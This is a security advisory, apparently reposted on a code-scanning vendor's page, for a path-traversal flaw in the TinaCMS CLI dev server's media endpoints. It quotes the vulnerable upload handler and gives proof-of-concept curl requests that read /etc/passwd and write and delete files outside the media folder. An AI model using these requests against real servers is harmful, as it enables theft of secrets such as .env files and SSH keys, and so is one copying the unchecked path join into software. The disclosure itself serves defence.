TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete
GHSA-2f24-mg4x-534q · CVE-2026-28793
Published · Modified
AI SAST
Find this class of vulnerability in your own code
Corgea's AI-native static analysis detects vulnerabilities like this one across your repositories, ranks them by exploitability, and returns review-ready fixes.
Description
Summary
The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.
Details
When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:
/media/list/*
/media/upload/*
/media/*
These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.
Vulnerable code
bb.on('file', async (_name, file, _info) => {
const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
// No validation that saveTo remains within mediaFolder
await fs.ensureDir(path.dirname(saveTo));
file.pipe(fs.createWriteStream(saveTo));
});
PoC
Arbitrary File Read
curl "http://localhost:4001/media/list/../../../etc/passwd"
Result:
Arbitrary File Write
echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt
curl --path-as-is -X POST \
"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \
-F "file=@/tmp/payload.txt"
cat /tmp/pwned.txt
Result:
Arbitrary File Delete
echo "delete_me" > /tmp/delete-test.txt
cat /tmp/delete-test.txt # confirms file exists
curl --path-as-is -X DELETE \
"http://localhost:4001/media/../../../../../../tmp/delete-test.txt"
cat /tmp/delete-test.txt # "No such file or directory"
Impact
An attacker who can reach the TinaCMS CLI dev server can:
Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)
Write arbitrary files anywhere writable by the server process
Delete or overwrite files, depending on endpoint usage
Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files
Attack Surface
The dev server binds to localhost by default, but exploitation is realistic in:
Cloud IDEs (Codespaces, Gitpod)
Docker or VM setups with port forwarding
Misconfigured dev environments binding to 0.0.0.0
Local malware or malicious dependencies
The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.
Recommended Fix
Resolve paths to absolute form
Enforce that resolved paths remain within the media root
Reject .. path segments and absolute paths
Consider authentication or token protection for dev server endpoints
Ready to move
Start Securing
Free, no credit card | First findings in minutes